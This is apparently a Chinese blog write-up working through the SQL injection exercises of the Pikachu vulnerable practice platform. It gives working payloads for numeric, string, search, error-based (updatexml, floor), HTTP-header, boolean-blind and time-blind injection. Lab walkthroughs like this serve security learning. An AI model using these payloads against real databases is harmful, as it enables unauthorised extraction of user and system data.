• pikachu练习平台(SQL注入 )


    sql注入漏洞 危害是最大得

    Sql注入

    数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

     

    Sql注入攻击流程:

    1.  注入点探测

    自动方式:使用web漏洞扫描工具,自动进行注入点发现

    手动方式:手工构造sql inject测试语句进行注入点发现

    2.  信息获取

    通过注入点取得期望得到的数据

          1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

          2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

          3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

     

    3.sql注入类型:   数字型  user_id=$id

               字符型 user_id='$id'

               搜索型  text like '%{$_GET['search']}'  "

     

    select  字段1     from table  where  id=1  会显示表中第一行信息

    select  字段1     from table  where  id=1 or 1=1  会显示表中所有信息

     

    Get方式中使用url提交注入数据;

    post方式中使用抓包工具修改post数据部分提交注入

    注入方法可参考sqli-labs实验方法:https://www.cnblogs.com/199904-04/p/12296733.html

     

    一、SQL数字型注入(post)

    选择1,查询;

     

    进行抓包,并发送到repeater;

     

    修改id为1 or 1=1 ,可以看到id全部列出;

     

    查看源码,这里post请求直接把id带到SQL·语句中,没有做任何处理,所以id这里存在sql注入漏洞;

     

     

     

     

     

    二、SQL字符型注入(get)

    输入kobe,查询;

     

    因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释,我们输入 kobe’ or 1=1#’ 

     

    我们查看源码,发现这里的变量是字符型,需要构造闭合;

     

     

     

     

    三、SQL搜索型注入

    查看源码,可以发现需要构造闭合,且闭合需要有’%

     

     

    在数据库中查询语句为 select username,id,email from member where username like '%$name%'

    所以在这我们使用xxx% or 1=1#进行查询;闭合成功,遍历用户所有信息;

     

     

     

     

    四、SQLxx型注入

    数据库中查询语句为select id,email from member where username=('$name')

    则闭合为xx) or 1=1# 可遍历用户所有信息;

     

     

     

    五、Insert/updata/delete注入(使用报错注入)

     

     

     

    基于insert/undata下的报错

    Ztt’or updatexml(1,concat(0x7e,database()),0)or ‘

    基于delete下的报错

    1 or updatexml(1,concat(0x7e,database()),0)

    基于floor()

    Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#

     

     

     

    基于delete下的报错

    1 or updatexml(1,concat(0x7e,database()),0)

    先删除一个留言,抓包,然后 发送到repeater;

     

    看源码可知id是一个数字型;

     

    在repeater中修改id并转码;

     

    在右边的界面拉到最后就会有报错信息的显示

     

     

     

     

    六、http头注入

    有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

     

    admin 123456 登录;

     

    进行抓包,并发送到repeater,修改user-agent   

      firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

     

     

     

     

     

     

    七、盲注

    在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”;

     

    盲注分为:based boolean

              Based time

     

     

    based  boolean

    表现:

    1.没有报错信息

    2.结果都只显示两种情况(0或1)

    3.在正确的输入下,输入and 1=1/and 1=2可以判断

     

    输入  Kobe’ and ascii(substr(database(),1,1))>113#

     

     

    输入 kobe' and ascii(substr(database(),1,1,))=112#  输出正确;

     将database()换成

    Select  table_name from information_schema.tables where table_schema=database() limit 0, 1

     

    kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)

    ,1,1,))>112#   也是可以的

     

     

     

     

    Based time

     

    kobe’ and sleep(5)#   页面会停顿5秒

     

    通过这个可以判断构造语句是否正确

     

    kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#

    猜测第一个字符是否是a (a-z)

     

     我们可以将database()换成select  table_name from information_schema.tables where table_schema=database() limit 0, 1 也是可以的。

  • 相关阅读:
    C#微信开发之旅(二):基础类之HttpClientHelper(更新:SSL安全策略)
    讨论区:一个数学方差题目
    python 打包exe注意的问题
    AIX学习笔记(更新中)
    哈工大游戏设计复习题
    SQL Sever 2012 如何建立数据库连接
    我的所有代码
    vc如何编译链接opengl库
    2013年哈工大软件学院 算法设计与分析 期末考试
    哈工大算法分析作业
  • 原文地址:https://www.cnblogs.com/199904-04/p/12377544.html
Copyright © 2020-2023  润新知